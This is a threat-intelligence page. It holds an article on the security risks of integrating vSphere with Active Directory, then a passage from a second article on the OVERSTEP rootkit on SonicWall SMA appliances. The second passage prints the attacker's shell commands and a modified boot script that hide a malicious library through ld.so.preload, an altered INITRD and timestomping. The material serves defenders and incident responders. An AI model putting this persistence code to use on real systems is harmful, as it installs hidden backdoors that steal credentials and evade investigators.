This is not a theoretical threat. According to Google Threat Intelligence Group (GTIG), the focus on vSphere is rapidly increasing. Of the new ransomware families observed, the proportion specifically tailored for vSphere ESXi systems grew from ~2% in 2022 to over 10% in 2024. This demonstrates a clear and accelerating trend that threat actors are actively dedicating resources to build tooling that specifically targets the hypervisor. In incidents investigated by GTIG, threat actors most frequently deployed REDBIKE, RANSOMHUB, and LOCKBIT.BLACK variants.

GTIG analysts have also noted a recent trend for threat actors to gain persistence to vSphere environments via reverse shells deployed on Virtual center. This enables a foothold to be obtained within the vSphere control plane and thus complete control over all infrastructure. This would typically manifest in into a two-pronged approach: a tactical data exfiltration such as an AD database (NTDS.dit) and then the deployment of ransomware and mass encryption of all VMs.

Understanding the Active Directory Integration in vSphere

The decision to integrate vSphere with AD often overlooks the specifics of how this connection actually works. To properly assess the risk, we must look beneath the surface at the technical components that enable this functionality. This analysis will deconstruct those key pieces: the legacy agent responsible for authentication, its inherent inability to support modern security controls like multi-factor authentication (MFA), and the insecure default trust relationships it establishes. By examining these foundational mechanisms, we can expose the direct line from a credential compromise to an infrastructure takeover.

vSphere’s Likewise Agent

When discussing vSphere's integration with AD, it's essential to distinguish between two separate components: vCenter Server and the ESXi hosts. Their respective AD integration options are independent and possess different capabilities. This connection is entirely facilitated by the Likewise agent.

The Likewise agent was originally developed by Likewise Software to allow Linux and Unix-based systems to join AD environments, enabling centralized identity management using standard protocols like Kerberos, NTLM, and LDAP/(S). The open-source edition, Likewise Open, included tools such as domainjoin-cli and system daemons like lsassd, which are still found under the hood in ESXi and the vCenter Server Appliance (VCSA). vSphere embedded this agent starting with ESX 4.1 (released in 2010) to facilitate Integrated Windows Authentication (IWA). However, its function differs:

In ESXi, the Likewise agent actively handles AD user authentication when configured.
In vCenter, it is only used for the initial domain join when Integrated Windows Authentication (IWA) is selected as the identity source—all actual authentication is then handled by the vCenter Single Sign On (SSO) subsystem.

The original Likewise Software was eventually absorbed by BeyondTrust, and the open-source edition of the agent is no longer actively maintained publicly. The Likewise OSS project is now archived and marked as inactive. It is understood the codebase is only maintained internally. Note: The agent's build version remains identical at Likewise Version 6.2.0 across both ESXi 7 and 8.

Figure 1: ESXi Likewise Agent versions

The following table lists comparisons between native AD connection methods for both Virtual Center and ESXi.

Feature / Capability

ESXi Host

vCenter Server (VCSA)

AD Integration Method

Integrated Windows Authentication (IWA) only

IWA and LDAP/LDAPS

Federated Identity (SAML, OIDC)

Likewise Agent Used

Yes – exclusively for IWA domain join and authentication

Yes – Used for IWA domain join only

Authentication Protocols Supported

Kerberos (via IWA only)

Kerberos (IWA), LDAP(S), SAML, OIDC

Modern Auth Support (OIDC, SAML, FIDO2)

Not supported

Not supported via AD

Supported only when using federated IdPs

MFA Support

Not supported

Not supported via AD DS

Supported via Identity Federation (ADFS, Azure AD, etc.)

Granular Role-Based Access Control (RBAC)

Limited (via host profile or CLI only)

Advanced RBAC with vCenter SSO

Why Not to Use Likewise-Based AD Integration (ESXi/vCenter)

The following list contains considerations when using AD-based connections managed by the vSphere Likewise agent:

Deprecated software: Likewise is legacy software, no longer maintained or supported upstream.
No support for modern authentication: Likewise only supports Integrated Windows Authentication (Kerberos) and offers no support for SAML, OIDC, or FIDO2.
No MFA: Likewise cannot enforce contextual policies such as MFA, geolocation restrictions, or time-based access.
Credential material stored locally: Kerberos keytabs and cached credentials are stored unencrypted on disk.

VMware recommends leveraging identity federation with modern identity providers, bypassing the limitations of the legacy Likewise-based stack. Broadcom announced on March 25 that IWA will be removed in the next major release.

The MFA Gap

While AD integration offers administrative convenience, it introduces significant security limitations, particularly regarding MFA. Traditional AD authentication methods, including Kerberos and NTLM, are inherently single-factor. These protocols do not natively support MFA, and the vCenter Likewise integration does not extend AD MFA enforcement to vCenter or ESXi.

Critically, ESXi does not support MFA in any form, nor does it support identity federation, SAML, or modern protocols such as OIDC or FIDO2. Even for vCenter, MFA can only be applied to users within the vSphere.local domain (using mechanisms like RSA SecurID or RADIUS), but not to AD-joined users authenticated through IWA or LDAP/S.

Ancillary solutions can offer proxy-based MFA that integrate with AD to enforce MFA to vSphere. AuthLite extends the native AD login process by requiring a second factor during Windows authentication, which can indirectly secure vCenter access when Integrated Windows Authentication is used. Silverfort operates at the domain controller level, enforcing MFA on authentication flows in real time without requiring agents on endpoints or changes to vCenter. Both solutions can help enforce MFA into vSphere environments that lack native support for it, but they can also introduce caveats such as added complexity and potential authorization loops if AD becomes dependent on the same infrastructure they protect and the need to treat their control planes or virtual appliances as Tier 0 systems within the vSphere environment.

As a result, in organizations that integrate vSphere with traditional Active Directory, all access to critical vSphere infrastructure (ESXi and Virtual Center) remains protected by password alone and no MFA.

While it is technically possible to enforce MFA in vSphere through Active Directory Federation Services (ADFS), this approach requires careful consideration. It is important to note that ADFS is still a feature included in Windows Server 2025 and is not on any official deprecation list with an end-of-life date. However, the lack of significant new feature development compared to the rapid innovation in Microsoft Entra ID speaks to its status as a legacy technology. This is underscored by the extensive migration resources Microsoft now provides to move applications away from AD FS and into Entra ID.

Therefore, while ADFS remains a supported feature, for the purposes of securing vSphere it is a complex workaround that doesn't apply to direct ESXi access and runs contrary to Microsoft's clear strategic direction toward modern, cloud-based identity solutions.

Another common approach involves Privileged Access Management (PAM). While a PAM-centric strategy offers benefits like centralized control and session auditing, several caveats warrant consideration. PAM systems add operational complexity, and the vCenter session itself is typically not directly federated with the primary enterprise identity provider (like Entra ID or Okta). Consequently, context-aware conditional access policies are generally applied only at the initial PAM logon, not within the vCenter session itself.

Ultimately, these workarounds do not address the core issue: vSphere’s reliance on the Likewise agent and traditional AD protocols prevents native MFA enforcement for AD users, leaving the environment vulnerable.

There is a reliance on a delegated logon based on AD password complexity, and any MFA would have to be at the network access layer or workstation login, not at the vCenter login prompt for those users.

The 'ESX Admins' Problem Is Not an ESXi Issue, It's a Trust Issue

In July 2024, Microsoft published a blog post on CVE-2024-37085, an "ESXi vulnerability" that was considered a critical issue, and one that vSphere promptly addressed in a patch release. The CVE, present in vSphere ESXi for many years, involved several ESXi advanced settings utilizing insecure default configurations. Upon joining an ESXi host to an AD domain, the "ESX Admins" AD group is automatically granted an ESXi Admin role, potentially expanding the scope of administrative access beyond the intended users.

These settings are configured by the following ESXi controls:

Config.HostAgent.plugins.hostsvc.esxAdminsGroupAutoAdd
- What it does: This setting controls whether users from a designated administrators group are automatically added to the host’s local administrative group.
Config.HostAgent.plugins.vimsvc.authValidateInterval
- What it does: This setting defines the time interval at which the host’s management services validate the authentication credentials (or tickets) of connected clients.
Config.HostAgent.plugins.hostsvc.esxAdminsGroup
- What it does: This parameter specifies the name (or identifier) of the group whose members are to be automatically considered for host administrative privileges (when auto-add is enabled by the first setting).

vSphere produced a manual workaround for prior versions of vSphere ESXi 8.0 Update 3 based on the following settings:

Config.HostAgent.plugins.hostsvc.esxAdminsGroupAutoAdd from true to false

Config.HostAgent.plugins.vimsvc.authValidateInterval from 1440 to 90

Config.HostAgent.plugins.hostsvc.esxAdminsGroup from "ESX Admins" to ""

The following is a configuration fix to default settings in vSphere ESXi 8.0 Update 3:

Config.HostAgent.plugins.hostsvc.esxAdminsGroupAutoAdd from true to false

Config.HostAgent.plugins.vimsvc.authValidateInterval from 1440 to 90

Config.HostAgent.plugins.hostsvc.esxAdminsGroup no change "ESX Admins"

Integrating an ESXi host with Microsoft AD introduces a fundamental security issue that is often overlooked—the IdP's administrators effectively gain administrative control over the ESXi host and any other system relying on that trust. While a common perception, sometimes reinforced by narratives focusing on the endpoint, suggests the ESXi host itself is the primary vulnerability, the more critical security concern is the implicit, far-reaching administrative power wielded by the administrators of the trusted IdP, particularly when using AD authentication with ESXi.

Administrators of Active Directory implicitly become administrators of any ESXi host that trusts it.

Consequently, neither workarounds nor configuration fixes, which only adjust default settings, resolve this core problem when an ESXi host is joined to AD. The issue transcends specific CVEs; it stems from the inherent security implications of the implicit trust model itself, particularly when it involves systems like ESXi and AD, which already possess their own security vulnerabilities and are frequent targets for threat actors.

In respect of ESXi, context should be applied to the following:

Automatic full administrative access: When ESXi hosts are joined to AD, a default (or custom configured) AD group (e.g., "ESX Admins") is granted full root-level administrative privileges on the ESXi hosts. Any member of this AD group instantly gains unrestricted control of the ESXi host.
Group name: If AD is compromised, threat actors can manipulate any group name used for via the the Config.HostAgent.plugins.hostsvc.esxAdminsGroup advanced setting, This is not limited to the group name “ESX Admins.”
Lack of security identifier (SID) tracking: AD group names (not limited to “ESX Admins”) added to ESXi are not tracked by their SIDs. This means that a threat actor could rename or recreate a deleted AD group such as “ESX Admins” maintaining the same name in ESXi via Config.HostAgent.plugins.hostsvc.esxAdminsGroup and retain the elevated privileges. This is a limitation of the Likewise ESXi agent.
Active Directory group management. Any threat actor looking to access a domain-joined ESXi host would need to simply require sufficient permissions to add themselves to the AD group defined via Config.HostAgent.plugins.hostsvc.esxAdminsGroup.

Recent discussions around vulnerabilities like CVE-2024-37085 have brought this security issue to the forefront: the inherent dangers of joining vSphere ESXi hosts directly to an AD domain. While such integration offers perceived management convenience, it establishes a level of trust that can be easily exploited.

Why Your ESXi Hosts Should Never Be Active Directory Domain Joined

Based on previous discussions we can confidently establish that joining an ESXi host to AD carries substantial risk. This is further endorsed where there is an absence of comprehensive ESXi security controls such as Secure Boot, TPM, execInstalledOnly, vCenter integration, comprehensive logging and SIEM integration. Compromised AD credentials tied to an ESXi-joined group will allow remote threat actors to readily exploit the elevated privileges, executing actions such as virtual machine shutdown and ransomware deployment via SSH. These risks can be summarized as follows:

No MFA support: ESXi does not support MFA for AD users. Domain joining exposes critical hypervisor access to single-factor password-based authentication.
Legacy authentication protocols: ESXi relies on IWA and Kerberos / NTLM / Windows Session Authentication (SSPI)—outdated protocols vulnerable to various attacks, including pass-the-hash and credential relay.
Likewise agent is deprecated: The underlying Likewise agent is a discontinued open-source project. Continued reliance on it introduces maintenance and security risks.
No modern authentication integration: ESXi does not support federated identity, SAML, OIDC, FIDO2, or conditional access.
AD policy enforcement is absent: Group Policy Objects (GPOs), conditional access, and login time restrictions do not extend to ESXi via AD join, undermining centralized security controls.
Complexity without benefit: Domain joining adds administrative overhead without offering meaningful security gains — especially when using vCenter as the primary access point.
Limited role mapping granularity: Group-based role mappings on ESXi are basic and cannot match the RBAC precision available in vCenter, reducing access control fidelity.

To securely remove ESXi hosts from AD, a multistep process is required to shift access management explicitly to vCenter. This involves assessing current AD usage, designing granular vCenter roles, configuring vCenter's RBAC, removing hosts from the domain via PowerCLI, and preventing future AD re-integration. All management then moves to vCenter, with direct ESXi access minimized. This comprehensive approach prioritizes security and efficiency by moving away from AD reliance for ESXi authentication and authorization towards a vCenter-centric, granular RBAC model. vSphere explicitly discourages joining ESXi hosts to AD:

“ESXi can be joined to an Active Directory domain as well, and that functionality continues to be supported. We recommend directing all configuration & usage through the Role-Based Access Controls (RBAC) present in vCenter Server, though."

Source: VMware

vSphere Virtual Center — The Primary Target

vSphere vCenter Server represents a strategic objective for threat actors due to its authoritative role as the centralized management for virtualized infrastructure. A compromised vCenter instance effectively cedes comprehensive administrative control over the entire virtual estate, encompassing all connected ESXi hypervisors, virtual machines, datastores, and virtual network configurations.

Through its extensive Application Programming Interfaces (APIs), adversaries can programmatically manipulate all managed ESXi hosts and their resident virtual machines, enabling actions such as mass ransomware deployment, large-scale data exfiltration, the provisioning of rogue virtual assets, or the alteration of security postures to evade detection and induce widespread operational disruption.

Furthermore, the vCenter Server appliance itself can be subverted by implanting persistent backdoors, thereby establishing covert command-and-control (C2) channels that allow for entrenched persistence and continued malicious operations. Consequently, its critical function renders vCenter a high-value target. The following should be considered:

Coupled security dependency (compromise amplification risk): Directly linking vCenter to AD makes vSphere security dependent on AD's integrity. As AD is a prime target, compromising privileged AD accounts mapped to vCenter grants immediate, potentially unrestricted administrative access to the virtual infrastructure, bypassing vSphere-specific security layers. Insufficient application of least privilege for AD accounts in vSphere magnifies this risk.
Single-factor authentication weakness (credential compromise risk): Relying solely on AD password validation makes vCenter highly vulnerable to common credential compromise methods (phishing, brute-force, spraying, stuffing, malware). Without mandatory MFA, a single stolen password for a privileged AD account allows complete authentication bypass, enabling unauthorized access, data breaches, ransomware, or major disruptions.
Lack of native MFA: The direct vsphere.local-to-AD integration offers no built-in enforcement of strong authentication like phishing resistant FIDO2 . While compatibility exists for external systems (Smart Cards, RSA SecurID), these require separate, dedicated infrastructure and are not inherent features, leaving a significant authentication assurance gap if unimplemented.
Facilitation of lateral movement and privilege escalation: Compromised AD credentials, even non-administrative ones with minimal vSphere rights, allow threat actors initial vCenter access. vCenter can then be exploited as a pivot point for further network infiltration, privilege escalation within the virtual environment, or attacks on guest systems via console/API access, all stemming from the initial single-factor credential compromise.

Integrating vSphere vCenter directly with AD for identity management, while common, inherently introduces significant security vulnerabilities stemming from coupled dependencies, reliance on single-factor authentication, a lack of native strong MFA, and facilitated attack pathways. These not only critically expose the virtual infrastructure but also provide avenues to exploit the VCSA appliance's attack surface, such as its underlying Linux shell and the lack of comprehensive endpoint detection and response (EDR) capabilities.

Securing vSphere: The Tier 0 Challenge

The widespread practice of running Tier 0 services—most critically, AD domain controllers (often used for direct Identity integration)—directly on vSphere hypervisors introduces a significant and often overlooked security risk. By placing Active Directory Domain Controllers on vSphere, any successful attack against the hypervisor effectively hands threat actors the keys to the entire AD environment, enabling complete domain takeover. Mandiant observes that a general lack of awareness and proactive mitigation persists.

The danger is significant and present, for example, even for vSphere permissions that appear low-risk or are operationally common. For example, the privilege to snapshot an AD virtual machine can be weaponized for complete AD takeover. This specific vSphere capability, often assigned for backup routines, enables offline NTDS.dit (AD database) exfiltration. This vSphere-level action renders many in-guest Windows Server security controls ineffective, bypassing not only traditional measures like strong passwords and MFA, but also advanced protections such as LSASS credential guard and EDR, which primarily monitor activity within the operating system. This effectively paves a direct route to full domain compromise for a threat actor possessing this specific permission.

Mandiant observed these tactics, techniques, and procedures (TTPs) attributed to various ransomware groups across multiple incidents. The absence of VM encryption and logging makes this a relatively simple task to obtain the AD database while being undetected.

The following table contains a list of sample threats matched to related permissions:

Threat

Risk

Minimum vSphere Permission Required

Unencrypted vMotion

Memory-in-transit (e.g., LSASS, krbtgt hashes) can be captured during migration.

Role: Virtual Machine Power User or higher Permission: Host > Inventory > Migrate powered on virtual machine

Unencrypted VM Disks

AD database (NTDS.dit), registry hives, and password hashes can be stolen from VMDKs.

Role: Datastore Consumer, VM Admin or higher. Permission Datastore > Browse, Datastore > Low level file operations

Snapshot Creation

Snapshots preserve memory and disk state; can be used to extract in-memory credentials.

Role: Virtual Machine Power User or higher. Permission: Virtual Machine > State > Create Snapshot

Mounting VMDK to another VM

Enables offline extraction of AD secrets (e.g., NTDS.dit, registry, SYSVOL).

Role: VM Admin or custom with disk-level access. Permission Virtual Machine > Configuration > Add existing disk, Datastore > Browse

Exporting / Cloning VM

Enables offline AD analysis, allowing credential extraction or rollback attacks.

Role: Virtual Machine Administrator or higher. Permission: Virtual Machine > Provisioning > Clone, Export OVF Template

Console Access (VMRC / Web Console)

Full keyboard/video access enables manual attacks or credential harvesting.

Role: Virtual Machine User or higher. Permission: Virtual Machine > Interaction > Console interaction

vNIC on Improper VLAN

VM exposed to lateral movement or direct attack from compromised systems.

Role: Virtual Machine Admin or custom. Permission: Virtual Machine > Configuration > Modify device settings

Copy/Paste via vSphere Tools

Silent exfiltration of credentials/scripts via clipboard or drag/drop.

No specific vCenter privilege — host config or tools policy used

BIOS/Boot Order Abuse

ISO boot enables password resets, security bypass, or persistence.

Role: Virtual Machine Admin or custom. Permission: Virtual Machine > Configuration > Modify device settings

Delegation of trust from vSphere vCenter to AD grants implicit administrator privileges on the trusted systems to any AD domain administrator. This elevates the risk profile of AD compromise, impacting the entire infrastructure. To mitigate this, implement a two-pronged strategy: first, create a separate, dedicated vSphere environment specifically for the most critical Tier 0 assets, including AD. This isolated environment should be physically or logically separated from other systems and highly secured with robust network segmentation. Second, implement a zero-trust security model for the control plane of this environment, verifying every access request regardless of source. Within this isolated environment, deploy a dedicated "infrastructure-only" IdP (on-premises or cloud). Implementing the principle of least privilege is paramount.

A dedicated, isolated vSphere environment for Tier 0 assets (e.g., Active Directory) should have strictly limited administrative access (via a PAW), granting permissions only to those directly managing the infrastructure. This significantly reduces the impact of a breach by preventing lateral movement and minimizing damage. Unnecessary integrations should be avoided to maintain the environment's security and adhere to the least-privilege model.

To effectively safeguard critical Tier 0 assets operating within the vSphere environment–specifically systems like Privileged Access Management (PAM), Security Information and Event Management (SIEM) virtual appliances, and any associated AD tools deployed as virtual appliances–a multilayered security approach is essential. These assets must be treated as independent, self-sufficient environments. This means not only isolating their network traffic and operational dependencies but also, critically, implementing a dedicated and entirely separate identity provider (IdP) for their authentication and authorization processes. For the highest level of assurance, these Tier 0 virtual machines should be hosted directly on dedicated physical servers. This practice of physical and logical segregation provides a far greater degree of separation than shared virtualized environments.

The core objective here is to break the authorization dependency chain, ensuring that credentials or permissions compromised elsewhere in the network cannot be leveraged to gain access to these Tier 0 systems. This design creates defense in depth security barriers, fundamentally reducing the likelihood and impact of a complete system compromise.

Conclusion

Mandiant has observed that threat actors are increasingly targeting vSphere, not just for ransomware deployment, but also as a key avenue for data exploitation and exfiltration. This shift is demonstrated by recent threat actor activity observed by GTIG, where adversaries have leveraged compromised vSphere environments to exfiltrate sensitive data such as AD databases before or alongside ransomware execution.

As this document has detailed, the widespread reliance on vSphere, coupled with often underestimated risks inherent in its integration with AD and the persistence of insecure default configurations, creates a dangerously vulnerable landscape. Threat actors are not only aware of these weaknesses but are actively exploiting them with sophisticated attacks increasingly targeting ESXi and vCenter to achieve maximum impact.

The usability and stability that make vSphere a foundational standard for on-premise and private clouds can be misleading; they do not equate to inherent security. The evolution of the threat landscape, particularly the direct targeting of the hypervisor layer which bypasses traditional endpoint defenses, necessitates a fundamental shift in how vSphere security is approached. Relying on outdated practices, backups, perimeter defenses alone, or assuming EDR on guest VMs provides sufficient protection for the underlying infrastructure creates significant security gaps and exposes an organization to severe risks.

Identity integration vulnerabilities will be exploited, therefore, organizations are strongly urged to immediately assess their vSphere environment's AD integration status and decisively prioritize the implementation of the mitigation strategies outlined in this document. This proactive stance is crucial to effectively counter modern threats and includes:

Decoupling critical dependencies: Severing direct ESXi host integration with AD is paramount to shrinking the AD attack surface.
Modernizing authentication: Implementing robust, phishing-resistant MFA for vCenter, preferably via identity federation with modern IdPs, is no longer optional but essential.
Systematic hardening: Proactively addressing the insecure defaults for ESXi and vCenter, enabling features like execInstalledOnly, Secure Boot, TPM, Lockdown Mode, and configuring stringent firewall rules.
Enhanced visibility: Implementing comprehensive remote logging for both ESXi and vCenter, feeding into a SIEM with use cases specifically designed to detect hypervisor-level attacks.
Protecting Tier 0 assets: Strategically isolating critical workloads like Active Directory Domain Controllers in dedicated, highly secured vSphere environments with strict, minimized access controls and encrypted VMs and vMotion.

The upcoming end-of-life for vSphere 7 in October 2025 means that vast numbers of organizations will not be able to receive product support, security patches and updates for a product that underpins Infrastructure. This presents a critical juncture for organizations and a perfect storm for threat actors. The transition away from vSphere 7 should be viewed as a key opportunity to re-architect for security, not merely a routine upgrade to implement new features and obtain support. Failure to proactively address these interconnected risks by implementing these recommended mitigations will leave organizations exposed to targeted attacks that can swiftly cripple their entire virtualized infrastructure, leading to operational disruption and financial loss. The time to adopt a resilient, defense-in-depth security posture to protect these critical vSphere environments is unequivocally now.

Mandiant

Ongoing SonicWall Secure Mobile Access (SMA) Exploitation Campaign using the OVERSTEP Backdoor

Mandiant Threat Intelligence

1 month ago

Written by: Josh Goddard, Zander Work, Dimiter Andonov

UPDATE (July 30): Added additional network IOC identified by Sonicwall as being associated with OVERSTEP.

Introduction

Google Threat Intelligence Group (GTIG) has identified an ongoing campaign by a suspected financially-motivated threat actor we track as UNC6148, targeting fully patched end-of-life SonicWall Secure Mobile Access (SMA) 100 series appliances. GTIG assesses with high confidence that UNC6148 is leveraging credentials and one-time password (OTP) seeds stolen during previous intrusions, allowing them to regain access even after organizations have applied security updates. Evidence for the initial infection vector was limited, as the actor's malware is designed to selectively remove log entries, hindering forensic investigation; however, it is likely this was through the exploitation of known vulnerabilities.

In this new wave of activity, the actor has deployed a previously unknown persistent backdoor/user-mode rootkit, which GTIG tracks as OVERSTEP. Based on findings from Mandiant Incident Response engagements, our analysis shows this malware modifies the appliance's boot process to maintain persistent access, steal sensitive credentials, and conceal its own components. GTIG assesses with moderate confidence that UNC6148 may have used an unknown zero-day remote code execution vulnerability to deploy OVERSTEP on opportunistically targeted SonicWall SMA appliances.

GTIG assesses with moderate confidence that UNC6148's operations, dating back to at least October 2024, may be to enable data theft and extortion operations, and possibly ransomware deployment. An organization targeted by UNC6148 in May 2025 was posted to the "World Leaks" data leak site (DLS) in June 2025, and UNC6148 activity overlaps with publicly reported SonicWall exploitation from late 2023 and early 2024 that has been publicly linked to the deployment of Abyss-branded ransomware (tracked by GTIG as VSOCIETY).

Given the risk of recompromise using previously stolen credentials, organizations should follow the recommendations within this post to hunt for potential compromises and rotate all credentials, even if their appliances are fully patched. This blog post provides technical details on the OVERSTEP rootkit and the UNC6148 campaign to aid defenders in mitigating this threat.

Initial SMA Exploitation to Gain Administrator Credentials

Mandiant's first observations of UNC6148 in a recent investigation showed that they already had local administrator credentials to the targeted SMA 100 series appliance, and neither forensic evidence nor other data was identified to show how those credentials were obtained. GTIG assesses with high confidence that UNC6148 exploited a known vulnerability to steal administrator credentials prior to the targeted SMA appliance being updated to the latest firmware version (10.2.1.15-81sv), based on the patching timeline and public reporting of SonicWall n-day exploitation activity throughout 2025. Analysis of network traffic metadata records suggests that UNC6148 may have initially exfiltrated these credentials from the SMA appliance as early as January 2025.

Public reporting from SonicWall and multiple security firms has highlighted several different vulnerabilities that could possibly have been exploited by UNC6148:

CVE-2021-20038: Unauthenticated remote code execution (SonicWall advisory, Truesec report, AttackerKB entry)

This is a memory corruption vulnerability that can be executed to gain code execution; however, Rapid7's public exploit can make up to 200,000 HTTP requests and could take over an hour to execute, suggesting a widespread campaign may not take advantage of this vulnerability.
Truesec identified this as a plausible entrypoint for intrusion activity they observed in late 2023 targeting a SonicWall SMA.

CVE-2024-38475: Unauthenticated path traversal vulnerability in Apache HTTP Server, which affected the SMA 100 series (SonicWall advisory, Orange CyberDefense/SCRT blog post)

This can be exploited on the SMA 100 series specifically to exfiltrate two different SQLite databases, temp.db and persist.db, which store sensitive information including user account credentials, session tokens, and OTP seed values.
watchTowr published a blog post in May 2025 describing how this vulnerability can be chained with another bug, CVE-2023-44221, to compromise an SMA 100 series appliance; however, we did not identify any evidence suggesting this bug chain was used by UNC6148.

CVE-2021-20035: Authenticated remote code execution vulnerability (SonicWall advisory, ArcticWolf report)

This is a command injection vulnerability in the handler for /cgi-bin/sitecustomization POST requests.
Arctic Wolf and SonicWall reported on this vulnerability being exploited in the wild in April 2025.

CVE-2021-20039: Authenticated remote code execution vulnerability (SonicWall advisory, dfir.ch blog post, AttackerKB entry)

This is a command injection vulnerability in the request handler for /cgi-bin/viewcert.
dfir.ch reported this vulnerability being used to exploit SonicWall SMAs in an intrusion that led to the deployment of Abyss-branded ransomware in March 2024, with similar intrusion artifacts to Mandiant's investigation.

CVE-2025-32819: Authenticated file deletion vulnerability (SonicWall advisory, Rapid7 report)

Using a crafted HTTP request, this vulnerability can be exploited to cause a targeted SonicWall SMA to revert the built-in administrator credentials to password, granting the attacker administrator access.

There are several different paths UNC6148 could have taken with the aforementioned vulnerabilities, or possibly a different vulnerability not mentioned here. CVE-2024-38475 would have provided local administrator credentials and valid session tokens that UNC6148 could reuse, making it an attractive target, but Mandiant was not able to confirm abuse of that vulnerability. Exploitation of the previously mentioned authenticated bugs would require UNC6148 to already have some level of credentials to the SMA appliance, making them less likely to have been abused, but still worth mentioning due to their in-the-wild exploited status. It is also possible that credentials could have been obtained through infostealer logs or credential marketplaces, but GTIG was unable to identify any direct credential exposure related to the abused SMA appliance credentials.

Subsequent SMA Compromise and OVERSTEP Deployment

Mandiant's aforementioned investigation showed that in June 2025, UNC6148 established a Secure Sockets Layer virtual private network (SSL VPN) session on the targeted SMA 100 series appliance using the mentioned local administrator credentials from a BitLaunch (BLNWX) VPS (193.149.180.50).

Once the SSL VPN session was established, the attacker spawned a reverse shell on the targeted SMA appliance. Shell access should not be possible by design on these appliances, and Mandiant's joint investigation with the SonicWall Product Security Incident Response Team (PSIRT) did not identify how UNC6148 established this reverse shell. It's possible the reverse shell was established via exploitation of an unknown vulnerability by UNC6148.

Through the reverse shell, UNC6148 performed initial reconnaissance and file manipulation using a variety of built-in system binaries such as cat, chmod, cp, date, hostname, mkdir, mount, mv, and rm. Mandiant also observed the actor export and import settings to the SMA appliance, along with new network access control policy rules created for IP addresses used by UNC6148, suggesting they may have modified an exported settings file offline to include new rules for their infrastructure to ensure uninterrupted operations.

Following this initial activity, the attacker deployed the OVERSTEP backdoor. This process involved executing a series of commands to decode the binary from Base64 into the persistent /cf directory with the filename xxx.elf, moving it to /usr/lib/libsamba-errors.so.6, and ensuring persistence by adding its path to /etc/ld.so.preload.

cd /cf; touch xxx.elf; openssl enc -base64 -d [REDACTED] >>xxx.elf; chmod 777 /usr/lib/libsamba-errors.so.6; touch -c /usr/lib/libsamba-errors.so.6 -r echo /usr/lib/libsamba-errors.so.6 > /etc/ld.so.preload; chown root:root /usr/lib/libsamba-errors.so.6; chmod 777 /usr/lib/libsamba-errors.so.6; touch -c /usr/lib/libsamba-errors.so.6 -r echo /usr/lib/libsamba-errors.so.6 > /etc/ld.so.preload; arp

Figure 1: Selection of attacker shell commands executed on the appliance

Next, UNC6148 modified the legitimate RC file /etc/rc.d/rc.fwboot to achieve persistence for OVERSTEP. The changes meant that whenever the appliance was rebooted, the OVERSTEP binary would be loaded into the running filesystem on the appliance. Specifically, the bootCurrentFirmware function in the rc.fwboot script was modified to include code that performed the following:

Created a temporary directory named zzz within the present firmware directory. This directory served as a staging area to unpack, modify, and repack the INITRD image. It was a preparatory step for injecting malicious content without directly overwriting critical system files during runtime.
Decompressed the INITRD.GZ file, which was the compressed initial RAM disk image. The decompressed file was named INITRD, which contains the minimal root filesystem that is loaded into memory during the boot process before the actual root filesystem is mounted. Modifying this image allowed the attacker to inject malicious files that will be present and executable early in the boot sequence, making it difficult to detect and remove.
Mounted the decompressed INITRD file as a loop device to the newly created $fwLoc/zzz directory. This made the contents of the INITRD file accessible and modifiable as if it were a regular filesystem. This was an important step that allowed the script to browse and modify the contents of the initial RAM disk.
Copied the file libsamba-errors.so.6 from /cf/ into the mounted INITRD directory /usr/lib/.
Changed the owner and group of the file libsamba-errors.so.6 to root:root. This sets the permissions to mimic legitimate system libraries, which are typically owned by root.
Changed the file permissions of the copied malicious library to 0777 (read, write, and execute for owner, group, and others).
Employed a timestomping technique, attempting to copy the modification timestamp from the legitimate file libsamba-errors.so to the malicious file libsamba-errors.so.6. The goal was to make the malicious file appear as if it were part of the original system installation, thereby hindering detection and investigation.
Wrote the path to the malicious file /usr/lib/libsamba-errors.so.6 into the ld.so.preload file located within the INITRD directory /etc/. This causes dynamic executables to load the OVERSTEP shared object file, providing persistence and privileged execution in system processes.
Cleaned up temporary modifications, including:

Flushing pending disk writes to ensure all changes to the INITRD file were saved
Unmounting the INITRD file from the temporary directory
Recompressing the modified INITRD file
Removing the temporary directory

Renamed the newly compressed INITRD to INITRD.GZ, matching the expected filename.
Changed the timestamps of the modified INITRD.GZ file to match those of the kernel image file, BZIMAGE. This was another timestomping operation to hinder detection and investigation.
Loaded the kernel image BZIMAGE and the modified initial RAM disk, INITRD.GZ, into memory for a new kernel execution. It also appended kernel boot options from LINUX.OPT. This prepared the system to boot into the modified firmware. The use of kexec allowed the running Linux kernel to boot another Linux kernel without a full hardware reboot.
Executed the newly loaded kernel by initiating a soft reboot.

In summary, the code took advantage of the system's boot process to inject a persistent rootkit. By modifying the INITRD file and leveraging ld.so.preload, the attacker ensured their malicious code would be loaded and executed every time any dynamic executable starts, providing them with privileged and persistence control of the appliance.

function bootCurrentFirmware() { echo "$FUNCNAME: begin" >> $LOGFILE fwLoc=/cf/firmware/current if [ ! -f $fwLoc/BZIMAGE ]; then echo "Can't locate the kernel image" >> $LOGFILE; elif [ -f $fwLoc/INITRD ]; then echo "Can't locate the filesystem image" >> $LOGFILE; else mkdir $fwLoc/zzz gzip -d $fwLoc/INITRD.GZ mount -o loop $fwLoc/INITRD $fwLoc/zzz cp /cf/libsamba-errors.so.6 $fwLoc/zzz/usr/lib/libsamba-errors.so.6 chown root:root $fwLoc/zzz/usr/lib/libsamba-errors.so.6 chmod 777 $fwLoc/zzz/usr/lib/libsamba-errors.so.6 touch -c $fwLoc/zzz/usr/lib/libsamba-errors.so.6 -r $fwLoc/zzz/usr/lib/libsamba-errors.so echo /usr/lib/libsamba-errors.so.6 > $fwLoc/zzz/etc/ld.so.preload sync; umount $fwLoc/zzz; sync; gzip $fwLoc/INITRD; rm -rf $fwLoc/zzz mv $fwLoc/INITRD.gz $fwLoc/INITRD.GZ; touch -c $fwLoc/INITRD.GZ -r $fwLoc/BZIMAGE /usr/local/sbin/kexec -l $fwLoc/BZIMAGE --initrd=$fwLoc/INITRD.GZ --append="`cat $fwLoc/LINUX.OPT`" /usr/local/sbin/kexec -e; fi echo "$FUNCNAME: end" >> $LOGFILE }

Figure 2: Modified function in the rc.fwboot file to provide persistence for OVERSTEP

Once the deployment of OVERSTEP was complete, the threat actor cleared the system logs and rebooted the appliance to trigger the execution of OVERSTEP.

Analysis of OVERSTEP

